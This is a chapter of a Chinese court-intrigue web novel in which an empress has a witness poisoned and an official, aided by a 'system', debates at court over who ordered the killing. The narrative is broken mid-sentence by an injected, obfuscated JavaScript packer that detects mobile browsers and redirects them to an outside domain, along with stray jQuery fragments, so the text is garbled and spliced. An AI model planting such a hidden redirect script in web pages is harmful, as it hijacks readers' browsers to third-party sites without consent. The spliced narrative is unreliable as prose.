皇帝坐在审讯室后的暗室,闭着眼听着内卫的审讯。
见老帐房已经没有更多能交代的了,负责审讯的内卫迅速整理好口供,呈给了皇帝。
她大概扫了一眼,便将那厚厚的一摞纸放在了桌子上,只是轻飘飘地开口:“足够了。”
“是,陛下。”内卫行了一礼,而后返回房内,径直走到老帐房身边。
老帐房感到有些无措:“大人,这是……”
那内卫没听她多说,抓起一旁的酒杯,就捏着她的下巴强灌了进去。
“咳、咳咳。”老帐房一下被呛住了。
她本还有些茫然,都很快就感受到五脏六腑仿佛都要被灼穿的感觉。
“你……”
她最后发出了一个字的声音,而后便歪倒在椅子上,失去了生息。
*
东阳王府。
东阳王谋士着实为陈氏的反应感到头疼。
为了避免出差错,她们特地没有教陈氏要如何回答,只告诉了他什么不能说,其他如实回答便是。
可谁知陈氏太怕说错,不仅回答的支支吾吾,还说一句看她一眼,生怕旁人不知道他是受她指使才站了出来。
最后那个何御史都要开始看戏了。
她不仅闭上了眼睛,按了按太阳穴,想要避开这糟心的场景。
谁知,突然有一个内卫冲了进来,快步走到何御史身边,低声说了几句。
那何御史噌的一下站起来,说是陛下召见,只能暂时失陪了。
东阳王谋士这才有些重视。
早上才开完朝会,现在话还没问几句,皇帝又要召见,一定是出什么变故了。
但她面上不显,只是笑着说:“恭送大人了。”
见何榆看了眼陈氏,似是有话要说,她又补充道:“大人放心,陈氏可以接着暂住在王府,也算有个安全保障。”
何榆没有反对,冲她点点头,就跟着内卫走了。
东阳王谋士看了眼陈氏,他还是一副怯怯的样子,见何榆和内卫都走了,才小心地开口。
“大人,我……”
“你什么你。”东阳王谋士不耐烦地打断了他,“成事不足败事有余,这么点小事都做不好。”
“来人。”
很快有几个下人快步走了进来。
“把他带走。”谋士挥挥手,待陈氏被带走,她才整理了一下思绪,去找东阳王汇报情况了。
“皇帝召见她?”
东阳王听谋士讲述了方才发生的事情,压根没在意陈氏的事,只是敏锐地察觉皇帝此时的召见必有异常。
“你怎么看?”
谋士思索着:“这何榆既然是皇帝爱臣,必然不是什么蠢人。她能将皇帝召见之事透露给我们,只能说明一个道理,那就是皇帝希望我们知道此事。”
“可这能有什么意义?眼下皇帝手里只有一张牌,就是当年的漏网之鱼,那个老帐房。”
东阳王颔首。
谋士接着分析:“可那老帐房能知道什么重大之事?无非就是那账本上写的,河东淘汰的军备给庄王买了。这也算不得什么大事,所谓的意图谋反也不过是她们的猜测。倘若只凭一个账本和账房的供词,就要指证一个亲王谋反,未免有些可笑。”
“那老帐房不过只是负责走私军备的一员,就算想背叛咱们,也没办法交代更多了。”
“庄王那边都处理干净了吗?”东阳王突然问道。
“回大王,一切都处理好了。”谋士早有准备,“如果皇帝要查,一点痕迹都查不出来,到时候庄王只说是流寇猖狂,为护百姓安危,自掏腰包装备了府兵和民兵罢了。”
“倘若皇帝不依不饶,那庄王被逼反,也是没办法的事了。”
东阳王赞赏地颔首:“不错,那就只需看看咱们这位陛下,怎么接招吧。”
*
“怎么会这么快?”
何榆坐在去往皇宫的马车上,询问着前来传讯的内卫。
内卫摇了摇头。
何榆无奈极了。
这一路上都是如此,无论她问什么,这内卫都只是摇头,一句话也不说。
“我也不多问了,你只需告诉我,有什么能说的吗?”
她原本只是嘲讽,却不曾想那内卫真的开口了。
“陛下震怒。”
*
皇帝震怒。
大臣们纷纷放下手头的事,赶来皇宫。
不同于平日上朝时,还可以在朝房插科打诨,这会儿朝堂上安静极了。
见人齐了,内卫指挥使在大殿之上正式宣布了老帐房的死讯,而后退回至皇帝身旁。
皇帝冷厉地看着殿上的大臣:“诸卿,可有话要说?”
大臣们虽然不能直视天颜,但也可以感受到皇帝的怒气,再加上在来的路上也都从传讯的内卫那里得知,皇帝震怒,眼下自是一句话也不敢说,只在心里祈祷着能安稳度过此关。
当然,这其中各自心怀鬼胎者也不在少数。
突然有一人开口:“依我看,就是那何榆何御史做的!”
此话一出,全场哗然。
见所有人、包括皇帝的目光都紧紧地盯着她,她竟丝毫不慌,接着说道:“何榆先前所言,若将老帐房打入大牢,恐怕会被人灭口。”
“然而,她的谏言并没有被采纳,反而被陛下派去查诬陷案。对何榆这种钻营之人来说,很可能就因此怀恨在心,故而在下朝后趁机潜入大牢,杀人灭口!”
大殿上安静了一会儿。
突然有人忍不住,噗嗤一声笑了出来,紧接着越来越多的大臣笑出了声,朝堂上充满了快活的气氛,就连皇帝也差点绷不住那张严肃的脸了。
那人羞愤极了:“你们……你们!”
何榆笑完了才开口:“这位大人,您是在与我等讲笑话吗?”
“何出此言!”那人怒极,“在陛下面前,我从不开玩笑,字字句句皆是肺腑之言。”
“好吧。”见这人实在是没救了,何榆摇了摇头:“敢问大人,我不过是一个六品小官,如何能潜入内卫大牢,杀掉人证,而又全身而退呢?”
她特意把“内卫”二字念得极重。
那人这才意识到不对,脸都白了。
然而何榆并没有想放过她,还做出了恍然大悟的样子:“莫非是大人您很有潜入内卫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941225|177357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大牢的经验,因此才认为我也可以很轻松地进去杀人灭口?”
“只可惜我是守法官员,闯进内卫大牢这种事,是想都不敢想的。”
“你!”
皇帝看够了戏,这才宣布将那位官员直接押了下去。
朝堂上再次恢复了严肃的气氛。
“怎么,除了看热闹,你们都无话可说吗?”皇帝似笑非笑地问。
大臣们一下就不能装哑巴了。
其实大家心里都有个答案,只是一开始就跳出来,未免有些党争之嫌。
眼下既然不能再不作声,大臣们纷纷开口说出自己的猜测。
只是一时间竟有些泾渭分明的感觉。
“启禀陛下,依臣之见,恐怕是庄王派人灭口。老帐房先前刚在大殿之上交代,庄王私下购买河东军淘汰下来的军备,意图谋反,庄王得知后必然慌张了。”
“这个是清流。”系统给何榆介绍。
紧接着,另一大臣很快开口反驳:“你这是断章取义!可别忘了,那老帐房也不是什么清白的人,说不定她就是见自己被抓了,胡乱攀扯!”
“就是这样!那老账房被代州刺史所救,代州刺史可是清流众人,若是为了党争污蔑庄王也不无可能。”
“第一个是宗室,第二个是庄王门生。”系统接着解释。
清流不甘示弱:“那为何不能是庄王料想到倘若老帐房死了,人们会认为是清流对其的污蔑,所以才派人下手呢?”
“可笑。”庄王门生也丝毫不退让。
何榆却察觉到一丝不对。
这紧急会议,竟刚好聚齐了清流和宗室,陛下这次会议,倒是有种醉翁之意不在酒的感觉啊。
不过她一时半会儿还想不到原因,只是默默地听着这些人的唇枪舌剑。
皇帝面无表情地听着下面人的你来我往,很快就发现了自第一个开口的大臣被拉下去后,何榆便一言不发。
于是她直接点名问道:“何卿,怎么一句话也不说。最开始提出老帐房一旦被下狱就可能会被灭口的就是你,你现在有何看法啊?”
大家都意识到这是皇帝对何榆的考验,一瞬间就安静了下来。
系统也发现了,它担心何榆难以应对,正向提点几句。
谁知何榆直接开口。
“启禀陛下,臣以为,方才诸位大人说的都对,但也都有失偏颇。”
“哦?”皇帝眯了眯眼睛,“何意啊?”
“陛下。” 她缓缓移步出列,“依屈大人(大理寺卿)和老帐房所言,以及账本中的证据,臣以为,帐本中所提到的大人私印,正是屈大人在代州查案卷时所发现的,冯侍中私印!”
“老帐房这伙人正是在以冯侍中为首的清流的指使下,将河东军淘汰的军备卖给了庄王。”
“陛下,诸位大人,臣先前也有提到过,这仿佛说明清流和宗室并不像表面上的那般剑拔弩张,反而是暗中勾结。”
“那么此次老帐房于内卫大牢中被暗杀,很可能是双方合作的结果!”
“否则,仅凭一方之力,另一方又虎视眈眈的情况下,怎可能从内卫大牢全身而退,又不留下任何证据呢?”